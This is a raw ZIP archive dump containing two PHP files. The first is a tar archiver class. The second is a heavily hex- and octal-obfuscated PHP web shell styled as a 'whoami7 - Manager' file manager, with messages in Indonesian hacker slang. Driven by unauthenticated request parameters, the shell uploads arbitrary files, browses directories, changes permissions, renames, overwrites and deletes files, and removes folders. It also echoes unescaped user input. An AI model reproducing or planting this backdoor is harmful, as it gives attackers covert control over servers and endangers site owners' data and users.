PKD`Z}==private/index.phpnuW+A<\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?>PKD`Z$ _>c>cprivate/function.phpnuW+A \x0d\x0a\x3ct\x69tle>As\151\x6b\x6b\055&w\153wkwk\x77kw\x0d\012\074l\x69n\x6b\x20h\162ef=\x22\150\164t\x70s\x3a\057\x2f\x66o\156t\x73.goog\154\x65\x61p\x69\163.c\x6f\x6d\057\x63s\x73\x3f\146amil\171=\113e\x6c\154\171+\x53lab\042 \162e\x6c\x3d\x22\x73\164\171leshe\145t\042\x20type=\x22\164ext/\x63s\163\x22>\015\012\x3clink hr\145\x66=\x22\150ttps\072//\163\x74\141\x63\153pa\164h.\142oot\163trap\x63dn\056c\x6fm\057\x66\x6fnt-awesom\x65/\064.\067.\x30/cs\x73/\146o\x6et-\x61wes\157\155\x65.\x6d\151n.\x63ss\042\x20re\x6c\x3d\042\163ty\154esh\x65\x65t\x22 \164y\160e\x3d\042\164ex\164\x2fc\x73s\042\057>\x0d\x0a<\x63\x65\156\164\145r>\015\x0a\x3c\150\061\040\x73\164y\154e\x3d\042\x66ont\x2dfa\155il\x79\x3a\x20\x4be\154\x6cy\x20Sl\141b; \146\157nt-si\172e: 35p\x78;\040color\x3a white;\x22> \015\012<\146ont \146\141\143e=\042C\x6furie\x72 \116e\167\042 \143olor=\042w\150i\164\x65\042 \163i\x7ae\x3d\x22\065\x22>w\x68\x6f\141\155\x697 \x2d Man\x61\147\x65\x72 \x0d\x0a\x3c\102\x4fDY\076\015\012\x0d\x0a\074\x74\x61bl\x65 widt\150\x3d\0429\x35%\042 b\x6fr\144er=\x220\x22 ce\x6c\154\x70addi\x6e\x67\x3d\0420\042\040cel\x6c\163\160a\143\151\x6e\147\075\x22\x30\x22 alig\x6e\075\042left\042>\015\x0a\x3c\x74\x72\076";echo"\074\164a\x62\x6c\145\040wi\144t\x68=\x22\071\065%\x22 b\157rde\x72=\x220\042\x20\x63ellpad\x64ing=\x220\042\x20cell\163p\141\x63in\x67=\0420\042 alig\x6e\x3d\x22\143e\x6e\164er\042\x3e\015\x0a\x3c\x74r \141li\147n\x3d\042c\145n\164er\x22\076\074td\040align=\x22c\x65\x6e\164e\x72\x22>\074\142\162\076";if(isset($_GET["\x70ath"])){$_rchv=$_GET["\x70a\x74\x68"];}else{$_rchv=gETcWD();}$_rchv=sTR_RePlACe("\x5c","\057",$_rchv);$_fxdae=EXpLoDe("/",$_rchv);foreach($_fxdae as$_lyvgaxi=>$_trbno){if($_trbno==""&&$_lyvgaxi==(int)rouNd(0+0)){$_xruhfq=true;echo"\074\x69 c\154\141\163\x73=\042f\x61 f\x61-\x66\x6fl\144e\x72-o\042\076\x3c/i>\040:\x20\x3ca\040h\x72e\146\x3d\x22\x3f\x70\141t\150=/\x22\076\x2f";continue;}if($_trbno=="")continue;echo"<\x61 hr\145f\075\x22?\x70\x61th\075";for($_ymyrqik=(int)rOUND(0+0+0+0);$_ymyrqik<=$_lyvgaxi;$_ymyrqik++){echo''.$_fxdae[$_ymyrqik];if($_ymyrqik!=$_lyvgaxi)echo"/";}echo"\042>".$_trbno."/";}echo"\074\x62\x72>\x3cb\x72><\x66o\x6e\164\040\143\157lor=\042l\151m\x65\x22>\x0d\x0a";if(isset($_FILES["f\x69le"])){if(cOpY($_FILES["f\x69le"]["tmp_na\x6de"],$_rchv."/".$_FILES["fil\145"]["na\x6de"])){echo"\074\146\x6f\x6e\x74 color=\042\x6ci\x6d\x65\x22>\125\120LOAD\x20\123UCC\x45S\040!\041\x21!";}else{echo"<\x73cr\151\160t>a\x6ce\x72t\x28\x22\x46i\x6ce Gaga\154\040\x44\151u\160\x6c\x6f\x61d \041!\x22)\x3c/s\x63ri\x70t>";}}echo"\074\057\146\x6frm\076\x3c\x2f\x74d\x3e<\x2f\x74\162>";if(isset($_GET["f\151lesrc"])){echo"\074tr\x3e<\x74d\076\146iles\x20\x3e\076 ";echo$_GET["f\x69lesr\x63"];echo"\074/tr>\x3c\x2ftd>\074/\164a\142\154e\076
");}elseif(isset($_GET["\157p\x74io\x6e"])&&$_POST["op\164"]!="\x64elet\x65"){echo"".$_POST["\x70a\x74h"]."\074br\x20\057\076\x3cbr\x20\x2f\076";if($_POST["o\160t"]=="c\x68\x6do\144"){if(isset($_POST["p\x65\162m"])){if(CHmOd($_POST["pat\150"],$_POST["pe\162m"])){echo"<\x62\x72>";}else{echo"\015\x0a<\x69\156\x70\165\164 type=\x22\x68idden\042\040n\x61m\x65=\042pat\x68\042\x20v\141\x6cu\145\075\042".$_POST["\x70at\x68"]."\042>\015\012\074i\x6ep\x75\164\x20typ\145\075\x22hi\x64de\156\042 nam\x65\x3d\042op\164\x22 \x76a\154\165e\075\x22c\x68\x6do\144\042>\015\012\074i\156p\165t t\x79pe=\042sub\x6d\151\x74\042 v\141l\165e=\042\x4canjut\x22\x20\x73\164yle=\x22w\x69dth:\x360\x70x;\040h\145\151\147\x68t: \x33\x30px\073\x22/>\x0d\012\x3c/\146orm>";}elseif($_GET["op\x74"]=="bt\167"){$_nrkskmnq=getCwD();echo"\x3cf\157\162m a\143\164\151on\075\x22\077\x6fp\164\151\x6fn&p\141\164h=".$_nrkskmnq."&op\164=del\x65\164\x65&t\171\160e=\142\165\141t\x22\x20\x6det\x68\x6fd=\042P\117\123\x54\042\076\x0d\x0a\116ew\040\116\x61me :\040\015\x0a\x3cin\160ut\040\164ype\075\x22hid\144\145n\042 na\155\145=\x22\157\160t\x22 va\x6cue=\042\x64\145\x6cete\x22\076\x0d\012\074in\160\165\x74\040t\x79\160e=\x22\163\165b\x6d\151t\042 \x76\x61l\x75e=\x22G\157\042\x20\163t\x79\x6ce\075\042w\151\x64\x74h:1\0600px\x3b\x20h\x65igh\x74\072 30\x70x\x3b\x22/\076\x0d\012";}elseif($_POST["o\x70t"]=="rena\155\145"){if(isset($_POST["\x6ee\167name"])){if(renAMe($_POST["p\x61\x74\150"],$_rchv."/".$_POST["newn\x61m\x65"])){echo"\074br\076\074b\x72\076<\x66o\156t co\x6c\x6fr=\042\x6cim\x65\042\076CH\x41N\107E NA\115\105\040\x53\x55C\x43\x45SS\x20!!\074/f\x6fnt>\x3c\x62\x72\x2f>";}else{echo"a\x6ce\162t\x28\042\103\x68\141n\x67e\040\116\x61me\x20\107agal !!\x22)<\x2f\x73c\162\151p\164\x3e";}$_POST["name"]=$_POST["newn\x61me"];}echo"\x0d\012\x3cin\160\165t\x20typ\145\x3d\042hi\x64den\042\040n\141me\x3d\x22p\x61\x74h\x22 va\154ue\075\042".$_POST["pa\x74\x68"]."\x22>\x0d\012\x0d\012<\151n\x70ut\x20ty\x70\x65\x3d\042s\x75b\155\x69t\042 value\x3d\x22Lanj\x75\164\x22 s\164y\x6ce=\042he\151ght:30px\x3b\042 \057>\015\012";}elseif($_POST["op\x74"]=="\145d\151t"){if(isset($_POST["\163rc"])){$_rkzbuyrn=FoPEn($_POST["path"],"w");if(fputs($_rkzbuyrn,$_POST["s\x72\143"])){echo"";}else{echo"<\163crip\164>\x61\154\x65r\x74(\042E\144\x69t F\151le G\141\x67\141l\040\x21\x21\042\051\x3c\057s\x63r\151pt>";}FcloSE($_rkzbuyrn);}echo"<\146orm\040\x6deth\157\x64=\x22\x50O\123\x54\x22>\x0d\x0a".HtmlSPeCIalCHars(fILe_geT_cONTEnts($_POST["\x70at\150"]))."\074/te\x78t\x61\x72\x65a\x3e<\142r /\x3e\015\012\074inp\x75\164 \x74y\160e=\x22\x68id\x64en\x22\x20\x6e\x61m\x65=\042pat\x68\x22\x20valu\145\075\x22".$_POST["pat\x68"]."\042>\x0d\x0a<\x69npu\164 \x74yp\x65=\042\150i\x64\144e\x6e\042 n\141m\x65=\x22opt\x22\x20\x76alu\x65\x3d\x22edit\042\x3e\x0d\x0a";}echo"\x3c/c\x65nter\x3e";}else{echo"<\x63\145\156te\162>";if(isset($_GET["o\x70tion"])&&$_POST["opt"]=="\x64\x65\x6ce\164e"){if($_POST["t\171pe"]=="d\x69\x72"){if(RmdiR($_POST["\x70a\164h"])){echo"
D\105LE\124\105 \x44\x49R SU\x43CE\123\x53\040!\x21";}else{echo"\074scr\x69pt\076alert\x28\042\104elete Dir\x20G\141g\x61\154\040!!\x22)";}}elseif($_POST["\x74ype"]=="\146ile"){if(UnLINK($_POST["\x70at\150"])){echo"\x3cbr\076\074br>\074f\157\x6et\040c\157\154or=\042\154\151m\x65\042\x3eD\x45\x4cE\124\105 \106\x49LE\x20SUCCES\x53 !!\074/font>\074\x62r/\076";}else{echo"";}}};echo"";$_ayypv=scANDiR($_rchv);$_xpytds=getCwd();echo"\x3cta\142\154e w\151\144\164\x68=\042\0715\045\042\x20\143la\x73\x73=\x22t\141ble\137h\157m\x65\042\x20border=\0420\042 \x63ell\160ad\144\x69ng=\0423\042 cell\x73pac\x69n\147\x3d\x22\061\042\040\x61l\151\147n\075\x22ce\156ter\x22\076\015\012<\164r\x20\x63\x6ca\x73s\075\x22\146\x69\x72\x73\x74\042>\015\012<\x74\150\076\074\x63\145n\164e\162>Na\x6d\145\x0d\x0a\074th>\x3c/t\x68\x3e\015\x0a<\x74h>\x3cc\x65\156te\162\076Per\x6d\x0d\012<\x74\150>\x3cc\145\156t\x65r>O\x70\x74\151ons\x0d\012\x0d\012";foreach($_ayypv as$_quvizd){if(!iS_dIr($_rchv."/".$_quvizd)||$_quvizd=="\x2e"||$_quvizd==".\056")continue;echo"\x0d\x0a\x3ctd\040\x63la\163s=td_h\x6f\155\145>\074\151m\147\x20\x73\x72c\075\x27'><\141\x20\x68ref\x3d\x22\x3fp\141t\150=".$_rchv."\x2f".$_quvizd."\x22> ".$_quvizd."\074cente\x72>\x44IR<\057\164d\x3e\x0d\012<\164d\040cla\x73s\x3dtd\137ho\x6de>\074\143\x65n\164er>";if(iS_WRItABLe($_rchv."\057".$_quvizd))echo"\x3c\x66on\164 \x63\x6f\154o\162\x3d\x22#57F\1060\x30\x22\x3e";elseif(!IS_ReAdaBLe($_rchv."\x2f".$_quvizd))echo"\074font \143olo\x72=\x22\043\106F0\x30\0604\042>";echo _exhctpr($_rchv."\057".$_quvizd);if(iS_wRItABLE($_rchv."/".$_quvizd)||!iS_rEAdABlE($_rchv."/".$_quvizd))echo"";echo"<\x2fc\x65nt\145r>\x3c/t\144\076\015\x0a<\164d \x63la\x73\x73=td_h\157m\x65><\143\x65\156te\162>\015\012\074\x73elect\x20\156ame=\x22\x6f\160\x74\042\040sty\154e=\x22mar\x67i\x6e\x2d\x74op\x3a6\160\170\x3b\167\151d\x74h:\x31\0600p\x78;fo\x6et-fam\151ly:K\145ll\x79\040\123la\x62\073fon\x74-\x73i\x7a\145\0721\065\073backgro\165\156\x64:b\154ac\153;color\x3al\x69\155e;bo\162der\0722px s\157\x6cid \154\x69\x6de;bo\162\x64er-rad\x69\x75s\072\065px\x22>\x0d\x0a